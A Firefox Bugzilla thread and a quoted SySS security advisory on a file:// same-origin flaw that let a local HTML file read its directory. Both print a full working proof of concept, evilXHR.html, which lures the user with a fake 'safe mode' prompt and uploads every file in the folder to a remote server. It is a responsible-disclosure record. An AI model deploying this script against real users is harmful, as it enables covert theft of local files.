Closed Bug 1477067 Opened 6 years ago Closed 3 years ago

XMLHttpRequest() in a local HTML file can read the directory index if "privacy.file_unique_origin" pref is false

Categories

(Core :: DOM: Security, defect, P3)

61 Branch
defect

Tracking

()

RESOLVED DUPLICATE of bug 1730535

People

(Reporter: vladimir.bostanov, Unassigned)

References

Details

(Keywords: sec-want, Whiteboard: [disclosure deadline 2018-08-01][fixed by bug 1500453][domsecurity-backlog1])

User Story

See comment 8 for the likely fix.

Attachments

(1 file)

MLHttpRequest() in a local HTML file has access to all files in the same directory and all sub-(sub-...)directories. An attacker must, however, know the exact filename (including the exact relative path) in order to read the contents of a file and send it to a remote server. This is, nevertheless, a security issue, because an attacker could mount a brute force or dictionary attack against filenames. Another peculiar feature allows, however, the directory index to be read by XMLHttpRequest(). This is possible if the user first visits the URL of the current directory (e.g. file:///home/user/Downloads/) and then clicks on the link to the malicious HTML file in the directory index provided by the browser. A third interesting feature allows an attacker to redirect users to the directory index only the first time (or every second time) they visit the malicious local HTML page. This is done by simply setting a cookie. There might be a good reason for allowing cookies for the URI scheme 'file', but, in this case, the feature helps the attacker to complete the data theft. The following attack scenario seems plausible. A victim saves a HTML file in the Downloads folder. (The victim might have received the file per email; or downloaded it from a malicious website offering, e.g. free HTML books; or downloaded it from a corporate website where a malicious employee had uploaded it.) The victim clicks on the filename in the file manager. The file is oped in the default Firefox browser. The malicious JavaScript is executed and the victim is redirected to the directory index. The victim is a little surprised, but then clicks again on the filename, this time in the browser's index. The contents of the HTML document is displayed (no redirect this time). In the background, the malicious JavaScript reads, first, the directory index, then, the contents of each file in the Downloads directory, and sends all data to a website controlled by the attacker. A ZIP archive, evilXHR.zip, including two files is attached. The first file, evilXHR.html, is a proof of concept. The second file, evilXHR.php, is a short script that can be used to receive and store the files uploaded by evilXHR.html on the server. Dr. Vladimir Bostanov, SySS GmbH
I think this is basically a less severe version/dupe of bug 1342678. Dan, who would be able to drive a review of our file: access policy so we align with other browsers and eliminate this class of issues (or, at least short-term, ensure we don't allow directory reading) ?
Flags: needinfo?(dveditz)
Group: firefox-core-security → dom-core-security
Component: Security: Review Requests → Security: CAPS
Product: Firefox → Core
This does seem like a dupe of bug 1342678, although the different testcase here does successfully read the directory on Mac for me unlike the testcase in that other bug that only seemed to work on Linux (though maybe something has changed since then). The ultimate fix to this and several semi-related bugs (like bug 395752) would be to use an even stricter same-origin policy for file:// although there are other interactions to consider. See https://github.com/whatwg/html/issues/3099
Status: UNCONFIRMED → NEW
Depends on: 1342678
Ever confirmed: true
Flags: needinfo?(dveditz)
Keywords: sec-moderate
Whiteboard: [disclosure deadline 2018-08-01]
I have tested it on Linux and Windows.
Hi! Firefox 62.0 was released a week ago and the issue still exists. It has not been fixed in this last release. The official SySS GmbH 45-day disclosure deadline has not been met, obviously. I understand, there has been a vacation season and all, but, on the other hand, it will soon be two months since I reported the issue. Any comments on the situation would be highly appreciated. Cheers, Vladimir
Ni dveditz for comment #4.
Flags: needinfo?(dveditz)
Flags: needinfo?(dveditz)
See Also: → 803143
A new test case not using cookies and more convincing from a social engineering perspective. Also available as a test website at https://ptvb.sy.gs/evilXHR/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <!DOCTYPE html><html><head><meta charset="UTF-8"><title>evilXHR</title> <!-- evilXHR.html, when stored locally and opened in a Firefox browser, displays the current directory index in an iframe and then prompts the victim user to reopen the file in the iframe by clicking on the corresponding link (evilXHR.html) in the directory listing. When opened in this particular way, evilXHR.html has access to the directory index and can upload all files from the current directory to a remote server (controlled by the attacker), by reading the file names and the data with XMLHttpRequest(). Author: Vladimir Bostanov, SySS GmbH --> <script src="https://ptvb.sy.gs/evilXHR/base64ArrayBuffer.js"></script> <!-- Jon Leighton's base64 convertor available at https://gist.github.com/jonleighton/958841 --> <script> // The script will be called from this HTML file: var htmlName = 'evilXHR.html'; // Files will be uploaded to this site: var siteURL = 'https://ptvb.sy.gs/evilXHR/'; var phpURL = siteURL + 'upload.php'; var cType = 'application/x-www-form-urlencoded'; var guID = Date.now() + Math.random().toString().substr(3,8); var uploadPathURL = siteURL + 'Uploads/' + guID; //------------------------------- function singleFileEvilXHR(fName) { var xGetFile = new XMLHttpRequest(); xGetFile.onreadystatechange = function() { if (this.readyState == 4) { var xPostFile = new XMLHttpRequest(); xPostFile.open('POST', phpURL); var fURL = encodeURIComponent(this.responseURL); var fData = encodeURIComponent(base64ArrayBuffer(this.response)); xPostFile.setRequestHeader('Content-Type', cType); xPostFile.send('guID='+guID + '&fURL='+fURL + '&fData='+fData); } } xGetFile.open('GET', fName); xGetFile.responseType = 'arraybuffer'; xGetFile.send(); } //------------------------------- function allFilesEvilXHR() { var xGetDir = new XMLHttpRequest(); xGetDir.onreadystatechange = function() { if (this.readyState == 4) { var xPostDir = new XMLHttpRequest(); xPostDir.open('POST', phpURL); var dData = encodeURIComponent(this.response); xPostDir.setRequestHeader('Content-Type', cType); xPostDir.send('guID=' + guID + '&dData=' + dData); var dirIndex = this.response.split('\n'); for (var n = 2; n < dirIndex.length-1; n++) { var dirIndexEntry = dirIndex[n].split(' '); if (dirIndexEntry[4] == 'FILE' && dirIndexEntry[1] != htmlName) { singleFileEvilXHR(dirIndexEntry[1]); } } } } xGetDir.open('GET', '.'); xGetDir.responseType = 'text' xGetDir.send(); } //------------------------------- function evilXHR() { var out = document.getElementById('out'); var msg = document.getElementById('msg'); var ifr = document.getElementById('ifr'); var cnt = document.getElementById('cnt'); var idx = document.getElementById('idx'); if (window.self == window.top) { // The file is opened in the top window. if (location.search != '?mode=safe') { // The file was opened in the top window // directly (i.e., NOT via dir index). document.body.removeChild(cnt); // Hide camouflage content. msg.setAttribute('class','visible'); // Show bogus message. ifr.setAttribute('class','visible'); // Show dir index in iframe. ifr.setAttribute('height','700'); } else // The file has been reopened via directory index. Hence, { // it has access to the dir index, i.e. to all filenames. document.body.removeChild(msg); // Hide bogus message. document.body.removeChild(ifr); // Hide iframe. cnt.setAttribute('class','visible'); // Show camouflage content. idx.href = uploadPathURL; allFilesEvilXHR(); // Upload all files + directory index } } else // The file has been reopened in the iframe. { out.href = location.href + '?mode=safe'; out.click(); // Reopen the file in the top window. } document.body.style = 'visibility:visible'; } </script> <style> body {font-size:large; max-width:60em;} code {font-size:125%} code.blue {color:blue} button {color:green} div#msg {padding-left:1em; color:red; background:yellow;} .visible {width:100%; margin:0; border:0 none; visibility:visible;} .hidden {width:0; height:0; margin:0; padding:0; border:0 none; overflow:hidden; visibility:hidden;} </style> </head><body onload="evilXHR()"> <a id="out" class="hidden" href="" target="_top"></a> <div id="msg" class="hidden"> The file <code>evilXHR.html</code> is protected. Click on the link <code class="blue">evilXHR.html</code> below to open it in safe mode.&nbsp;&nbsp;<button type="button" onclick="document.body.removeChild(msg)">OK, I got it!</button> </div> <iframe id="ifr" class="hidden" src="."></iframe> <div id="cnt" class="hidden"> <h1>evilXHR</h1> <p>This file, <code>evilXHR.html</code>, attempts to upload files from your computer or mobile device to our server.</p> <p>If the data theft was successful, you should be able to <a id="idx" href="" target="_top">view or download the copies of your files</a> during the next three minutes before they are deleted on the server.</p> <p><b>Note:</b> In the case of a real attack, some camouflage content (e.g., an eBook, or a picture album, etc.) will be displayed here instead of the current text, in order to conceal the data theft from the victim.</p> </div> </body></html>

SySS GmbH Security Advisory published on BugTraq:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2018-041
Product: Firefox
Manufacturer: Mozilla
Affected Versions: <= 64
Tested Versions: 61, 62, 63, 64
Vulnerability Type: Information Exposure (CWE-200)
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2018-07-19
Solution Date: -
Public Disclosure: 2019-01-16
CVE Reference: Not yet assigned
Author of Advisory: Dr. Vladimir Bostanov, SySS GmbH


Overview:

Mozilla Firefox is a web browser available for various platforms including
Windows, Linux, Mac, Android, and iOS [1]. It is one of the most popular
web browsers according to StatCounter [2].

An overly liberal same-origin policy for file URIs and a bug in the
implementation of this policy make Firefox vulnerable to exposure of local
files to a remote attacker.

Vulnerability Details:

Firefox's same-origin policy for file URIs allows local files to read
other files in the same directory but not the directory index [3]. For
example, a file with the URI file:///home/joe/Dowloads/aFile.html can read
file:///home/joe/Dowloads/anotherFile.html, but it should not be able to
read file:///home/joe/Dowloads/. We discovered, however, a violation of
this policy in the special case when a user first opens a local directory,
e.g., file:///home/joe/Dowloads/, in the browser and from there navigates
to a file in this directory, e.g., file:///home/joe/Dowloads/aFile.html.
In this case, aFile.html can read the Downloads directory index. This
allows a malicious script in aFile.html to read all files in this
directory by referring to each of them by its respective filename, and to
send all the data to a remote server controlled by the attacker.

The following attack scenario seems plausible. A user saves a HTML file in
the Downloads folder. The victim user might have received the file per
email; or downloaded it from a malicious website offering, e.g. free
eBooks, or picture albums, etc.; or downloaded it from a corporate website
where a malicious employee had uploaded it. The victim clicks on the
filename in the file manager. The file is opened with the default Firefox
browser. The victim is presented with a directory index and a message
explaining that the file is "protected" and the user should open it in
"safe mode" by clicking on the link in the directory index. The victim
clicks again on the filename, this time in the browser's directory
listing. The contents of the HTML document is displayed. In the
background, the malicious JavaScript reads, first, the directory index,
then, the contents of each file in the Downloads directory, and sends all
these data to a website controlled by the attacker.


Proof of Concept (PoC):

We offer a test website [5] where a user can check if a browser is
vulnerable to evilXHR. The above scenario is implemented by the following
HTML file evilXHR.html:

<!DOCTYPE html><html><head><meta charset="UTF-8"><title>evilXHR</title>
<!-- evilXHR.html, when stored locally and opened in a Firefox browser,
displays the current directory index in an iframe and then prompts the
victim user to reopen the file in the iframe by clicking on the
corresponding link (evilXHR.html) in the directory listing. When opened in
this particular way, evilXHR.html has access to the directory index and
can upload all files from the current directory to a remote server
(controlled by the attacker), by reading the file names and the data with
XMLHttpRequest().

Author: Vladimir Bostanov, SySS GmbH  -->

<script src="https://ptvb.sy.gs/evilXHR/base64ArrayBuffer.js"></script>
<!-- Jon Leighton's base64 converter available at
 https://gist.github.com/jonleighton/958841 -->

<script>
// The script will be called from this HTML file:
var htmlName = 'evilXHR.html';

// Files will be uploaded to this site:
var siteURL = 'https://ptvb.sy.gs/evilXHR/';
var phpURL = siteURL + 'upload.php';

var cType = 'application/x-www-form-urlencoded';
var guID = Date.now() + Math.random().toString().substr(3,8);
var uploadPathURL = siteURL + 'Uploads/' + guID;
//-------------------------------
function singleFileEvilXHR(fName)
  {
  var xGetFile = new XMLHttpRequest();
  xGetFile.onreadystatechange = function()
    {
    if (this.readyState == 4)
      {
      var xPostFile = new XMLHttpRequest();
      xPostFile.open('POST', phpURL);
      var fURL = encodeURIComponent(this.responseURL);
      var fData = encodeURIComponent(base64ArrayBuffer(this.response));
      xPostFile.setRequestHeader('Content-Type', cType);
      xPostFile.send('guID='+guID + '&fURL='+fURL + '&fData='+fData);
      }
    }
  xGetFile.open('GET', fName);
  xGetFile.responseType = 'arraybuffer';
  xGetFile.send();
  }
//-------------------------------
function allFilesEvilXHR()
  {
  var xGetDir = new XMLHttpRequest();
  xGetDir.onreadystatechange = function()
    {
    if (this.readyState == 4)
      {
      var xPostDir = new XMLHttpRequest();
      xPostDir.open('POST', phpURL);
      var dData = encodeURIComponent(this.response);
      xPostDir.setRequestHeader('Content-Type', cType);
      xPostDir.send('guID=' + guID + '&dData=' + dData);
      var dirIndex = this.response.split('\n');
      for (var n = 2; n < dirIndex.length-1; n++)
        {
        var dirIndexEntry = dirIndex[n].split(' ');
        if (dirIndexEntry[4] == 'FILE' && dirIndexEntry[1] != htmlName)
          {
          singleFileEvilXHR(dirIndexEntry[1]);
          }
        }
      }
    }
  xGetDir.open('GET', '.');
  xGetDir.responseType = 'text'
  xGetDir.send();
  }
//-------------------------------
function evilXHR()
  {
  if (navigator.userAgent.search('Firefox') == -1)
    {
    document.body.innerHTML =
      '<h1>This file must be opened with Mozilla Firefox</h1>';
    return;
    }
  var out = document.getElementById('out');
  var msg = document.getElementById('msg');
  var ifr = document.getElementById('ifr');
  var cnt = document.getElementById('cnt');
  var xEN = document.getElementById('xEN');
  var xDE = document.getElementById('xDE');

  if (window.self == window.top)
    { // The file is opened in the top window.
    if (location.search != '?mode=safe')
      { // The file was opened in the top window
        // directly (i.e., NOT via dir index).
      document.body.removeChild(cnt); // Hide camouflage content.
      msg.setAttribute('class','visible'); // Show bogus message.
      ifr.setAttribute('class','visible'); // Show dir index in iframe.
      ifr.setAttribute('height','700');
      }
    else // The file has been reopened via directory index. Hence,
      {  // it has access to the dir index, i.e. to all filenames.
      document.body.removeChild(msg); // Hide bogus message.
      document.body.removeChild(ifr); // Hide iframe.
      cnt.setAttribute('class','visible'); // Show camouflage content.
      allFilesEvilXHR(); // Upload all files + directory index

      xEN.href = uploadPathURL; xDE.href = uploadPathURL;
      xEN.innerHTML = uploadPathURL; xDE.innerHTML = uploadPathURL;
      }
    }
  else // The file has been reopened in the iframe.
    {
    out.href = location.href + '?mode=safe';
    out.click(); // Reopen the file in the top window.
    }
  document.body.style = 'visibility:visible';
  }
</script>

<style>
  body {font-size:large; max-width:60em;}
  code {font-size:125%}
  code.blue {color:blue}
  button {color:green}
  div#msg {padding-left:1em; color:red; background:yellow;}
  .visible {width:100%; margin:0; border:0 none; visibility:visible;}
  .hidden {width:0; height:0; margin:0; padding:0; border:0 none;
           overflow:hidden; visibility:hidden;}
</style>
</head><body onload="evilXHR()">

<a id="out" class="hidden" href="" target="_top"></a>

<div id="msg" class="hidden">
The file <code>evilXHR.html</code> is protected.
Click on the link <code class="blue">evilXHR.html</code>
below to open it in safe mode.&nbsp;&nbsp;<button type="button"
 onclick="document.body.removeChild(msg)">OK, I got it!</button>
</div>

<iframe  id="ifr" class="hidden" src="."></iframe>

<div id="cnt" class="hidden">

<h1>evilXHR</h1>

<p>This file, <code>evilXHR.html</code>, attempts to upload files from
your computer/mobile device to our server. In case of success, you will
find the copies of your files during the next 2 to 3 minutes at the
following
location (larger files take longer to upload):</p>

<p><a id="xEN" href="" target="_blank"></a></p>

<p><b>Note:</b> In the case of a real attack, some camouflage content
(e.g., an eBook, or a picture album, etc.) will be displayed here
instead of the current text, in order to conceal the data theft
from the victim.</p>

<h1>evilXHR &mdash; Deutsch</h1>

<p>Diese Datei, <code>evilXHR.html</code>, versucht Dateien von Ihrem
Computer oder mobilem Gerät auf unseren Server hochzuladen. Wenn das
gelingt, können Sie die Kopien Ihrer Dateien in den nächsten 2 bis 3
Minuten unter dem folgenden Link finden (größere Dateien werden
langsamer hochgeladen):</p>

<p><a id="xDE" href="" target="_blank"></a></p>

<p><b>Bemerkung:</b> Im Falle eines echten Angriffs würden hier statt
dieses Texts andere Inhalte als Tarnung stehen (z.B. ein eBook, oder
schöne Bilder, usw.), damit das Opfer den Datendiebstahl nicht merkt.</p>

</div>
</body></html>

Solution:

~ If you store and open HTML files locally, save them in a directory
that does not contain any personal or confidential data.

~ Do not use the directory index of the browser for navigation.
Open local HTML files directly in the browser.

~ Update to a non-vulnerable Mozilla Firefox version.


Disclosure Timeline:

2018-07-17: Vulnerability discovered.
2018-07-19: Vulnerability reported to manufacturer.
2018-12-01: Security Advisory sent to manufacturer;
            2019-01-15 set as disclosure deadline.
2019-01-16: Vulnerability publicly disclosed.

References:

[1] Product website for Mozilla Firefox
https://www.mozilla.org/en-US/firefox/
[2] Browser Market Share Worldwide: October 2017 -- October 2018
http://gs.statcounter.com/browser-market-share/all/worldwide/2018/
[3] Mozilla Firefox: Same-origin policy for file URIs
https://developer.mozilla.org/en-US/docs/Archive/Misc_top_level/Same-origin_policy_for_file:_URIs
[4] SySS Security Advisory SYSS-2018-041
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-041.txt
[5] evilXHR Test: Check if your browser is vulnerable to evilXHR
https://ptvb.sy.gs/evilXHR/
[6] SySS Responsible Disclosure Policy
https://www.syss.de/en/news/responsible-disclosure-policy/


Credits:

This security vulnerability was found
by Dr. Vladimir Bostanov of SySS GmbH.

E-Mail: vladimir.bostanov@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Vladimir_Bostanov.asc
Key ID: 0xA589542B
Key Fingerprint: 4989 C59F D54B E926 3A81 E37C A7A9 1848 A589 542B

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.


Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: https://creativecommons.org/licenses/by/3.0/deed.en

-----BEGIN PGP SIGNATURE-----

iQJOBAEBCgA4FiEESYnFn9VL6SY6geN8p6kYSKWJVCsFAlw/bHoaHHZsYWRpbWly
LmJvc3Rhbm92QHN5c3MuZGUACgkQp6kYSKWJVCvnSBAAnGHoZk4SP+/nKn/q2T+J
zFZ23NPGZRrXcM2p3U6Xd3m7jCuBlKOWFYs7zsx6YFcplP6X5iFv2NSz9VhWBBGk
QsRO7Bwwg9AnIpaVfXrJVe+XZti0bADTLP+Y0A8POFl8ju8jjy4Nawy9UlSjweVB
B9vVMtvRafDRH76zzI5zGyrXn4QnRRTQXhYaQv/cITVYBv/aiFDSpfUoMitIttFw
hF/5nY1k8isSZaJPehMThYysqOehGrJhpEjyhoIqDQFC79WeaSjhFlcOU4crFXps
+RiKSIylwHjchcDVaHYis3JtYW2W3RxOMpk9295g0vhIO/fdBaeM/xuQXRrmtFcS
JmqxnxUsZ316qd5HDxWligx2j/fbjVN9ITUXUKXSYZsHLcf6/GhL2ywV0LDLxfEG
Dbj1DtCvWAGujpSvoVZniNMI+9epahLJPTr+KHl7fwsWYPXe5AoXYt+JlFETgzX+
+LMuar/G/1G4UvPleRhQcw0F6CwtUMQ9Gd6iLzKj0hYrU8+S9LMq+MvMUTOOBn76
acyZ/HWLNjIAG7XFiC/UqJ8XYlVYZ+7QnrL13jzer17mlnDR1FHKV5rtjFxiGYkb
I+k8SLSvuq3wD+KrBGlKqlumVkR7YCQFdKc0xLojo2YilOq4ZWj7Je36/uOZo1KQ
nLYYm8Ld30vvbVVKRSTc8uQ=
=NgQN
-----END PGP SIGNATURE-----

bz said that NS_RelaxStrictFileOriginPolicy() should make sure the source is not a directory, in addition to checking the target.

https://searchfox.org/mozilla-central/rev/11712bd3ce7454923e5931fa92eaf9c01ef35a0a/netwerk/base/nsNetUtil.cpp#2482

If we go ahead and fix bug 1500453 / bug 803143 then this is moot.

We have fixed bug 1500453, but there's currently a pref to roll it back in case we've broken something. Unless that pref is short-term temporary (and I don't see a bug to remove it) we should still fix this (see comment 8).

Component: Security: CAPS → DOM: Security

baku: is this a clean-up you can add? Given we're not going to fix local workers or XSLT and people seem to use them for development I'm not sure we're going to get rid of the new pref you added, in which case fixing this will make those people safer.

Unhiding the bug because it became public as part of the earlier issue.

Group: dom-core-security
Flags: needinfo?(amarchesini)
Priority: -- → P3
Whiteboard: [disclosure deadline 2018-08-01] → [disclosure deadline 2018-08-01][domsecurity-backlog2]
Whiteboard: [disclosure deadline 2018-08-01][domsecurity-backlog2] → [webext-sec][disclosure deadline 2018-08-01][domsecurity-backlog2]

FWIW I verified the str in comment 6 cannot be reproduced with the default pref setting.

(In reply to Shane Caraveo (:mixedpuppy) from comment #12)

FWIW I verified the str in comment 6 cannot be reproduced with the default pref setting.

The bug has been fixed since FF release 68.

Whiteboard: [webext-sec][disclosure deadline 2018-08-01][domsecurity-backlog2] → [disclosure deadline 2018-08-01][domsecurity-backlog2]
Status: NEW → RESOLVED
Closed: 5 years ago
Resolution: --- → FIXED
Whiteboard: [disclosure deadline 2018-08-01][domsecurity-backlog2] → [disclosure deadline 2018-08-01][fixed by bug 1500453]
Target Milestone: --- → mozilla68

(In reply to Daniel Veditz [:dveditz] from comment #11)

baku: is this a clean-up you can add? Given we're not going to fix local workers or XSLT and people seem to use them for development I'm not sure we're going to get rid of the new pref you added, in which case fixing this will make those people safer.

With this closed, does that mean we're going to remove the pref we added, and/or are we going to try to fix the issue as filed even with the pref set to the "unsafe" value?

Flags: needinfo?(dveditz)

I don't know if we have plans to remove the pref any time soon; good point. Updating summary to clarify the current state.

Status: RESOLVED → REOPENED
User Story: (updated)
Flags: needinfo?(dveditz)
Resolution: FIXED → ---
Summary: XMLHttpRequest() in a local HTML file can read the directory index and upload all files from the current directory to a remote server → XMLHttpRequest() in a local HTML file can read the directory index if "privacy.file_unique_origin" pref is false
Whiteboard: [disclosure deadline 2018-08-01][fixed by bug 1500453] → [disclosure deadline 2018-08-01][fixed by bug 1500453][domsecurity-backlog1]

Dan, should be closed this as WONTFIX since this doesn't happen with default config?

Flags: needinfo?(dveditz)

We really should remove the preference so I'd rather not WONTFIX if this is the only stand-in for that, but we can remove the severity rating

Flags: needinfo?(dveditz)
Keywords: sec-moderatesec-want

(In reply to Daniel Veditz [:dveditz] from comment #17)

We really should remove the preference so I'd rather not WONTFIX if this is the only stand-in for that, but we can remove the severity rating

Mike, do you know if enterprises can/do flip this privacy.file_unique_origin pref with policy / distribution prefs, ie if there's anyone relying on the "old" behaviour in the enterprise world? Do we have alternatives for them?

Flags: needinfo?(mozilla)

Enterprises can't flip that pref with policy, and I haven't heard of anyone using it.

Typically enterprises that need access to local files use the LocalFileLinks policy - https://github.com/mozilla/policy-templates/blob/master/README.md#localfilelinks

and authorize it for specific domains.

I don't see a problem removing this.

Flags: needinfo?(mozilla)

With the pref removed, this is WFM now, I think.

Status: REOPENED → RESOLVED
Closed: 5 years ago3 years ago
Flags: needinfo?(amarchesini)
Resolution: --- → WORKSFORME

This removal caused a problem for us. Indeed, we do rely on a locally run .html file which downloads stuff from the same directory and it's subdirectories. I tried that LocalFileLinks policy, but it does not seem to be working for us. With the HTML file being named ~/Kivihiomo/dist/Hautakivimallinnin.html I tried all of these:

{"policies":{"LocalFileLinks":["file:///home/kivihiomo/Kivihiomo/dist/Hautakivimallinnin.html"]}}
{"policies":{"LocalFileLinks":["file:///home/kivihiomo/Kivihiomo/dist/"]}}
{"policies":{"LocalFileLinks":["https://env-3769914.fi.cloudplatform.fi/"]}}

None worked. I also tried another unrelated policy to verify that policies in general are working for me - they are.

How am I supposed to give Hautakivimallinnin.html access to files in the local directory? privacy.uniqueFileOrigin let me to do that.

(In reply to Ate Eskola from comment #21)

{"policies":{"LocalFileLinks":["https://env-3769914.fi.cloudplatform.fi/"]}}

To clarify a bit, no, I did not try this at https://env-3769914.fi.cloudplatform.fi/ server. I just used it as a dummy address because the policies documentation examples were Internet addresses instead of local addresses for some reason I don't understand. The file I'm trying to get to work is not on server at all.

LocalFileLinks is only about a web site being able to access local files, not a local file being able to access local files.

Does your local HTML file use XMLHTTPRequest?

IIRC it does

My recommendation would be that you use the ESR for this usecase and will be good for the next year or so.

The behavior you're asking for is insecure and should probably be implemented a different way.

Thanks. I hope there is some real simple way - the html-as-desktop-program is sometimes installed to new computers by people that are far from IT professionals. I can hardly ask them to setup a local server without a simple step-by-step guide. The mentioned program does also run at a server, but it'd be way too complex to set up. Any recommendation for a simpler alternative?

Chrome 96 still has an escape hatch (--allow-file-access-from-files command line switch).

Thanks, but I reasoned that if Firefox closed that escape hatch, there is no guarantee that other browsers won't follow.

In case anyone lands here with a similar problem as I had: the answer is to set up as simple server as possible, and use the html file by connecting to localhost. In my case, I took this blog post and used it: https://elijahlopezz.medium.com/python-3-x-simplehttpserver-7cf0bbe3a798

Just install a Python interpreter, edit a few lines in that script and run it, it works. However, one security vulnerability might be replaced with another here if you don't take enough precaution. You have to be 100% sure that you're either off the Internet while the server is running, or that your firewall blocks incoming connections, otherwise anyone can use and/or copy the local files you're running.

I was told that the security.fileuri.strict_origin_policy pref still works in bug 1730535. This pref corresponds to Chrome's --allow-file-access-from-files.

Target Milestone: mozilla68 → ---
Depends on: 1500453, 803143
See Also: 803143

(In reply to Masatoshi Kimura [:emk] from comment #29)

I was told that the security.fileuri.strict_origin_policy pref still works in bug 1730535. This pref corresponds to Chrome's --allow-file-access-from-files.

Should we consider reopening this bug and switching to something less shoot-in-foot than a pref (e.g. enterprise policy not backed by a pref, and/or an environment variable, or similar) ? This still feels like a potential footgun for users who maybe want one thing to work one time, and are then more vulnerable afterwards.

Flags: needinfo?(dveditz)

Eh, I guess this is covered in bug 1730535 so let's just dupe this over instead of pretending it is already finished work.

Flags: needinfo?(dveditz)
Resolution: WORKSFORME → DUPLICATE
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: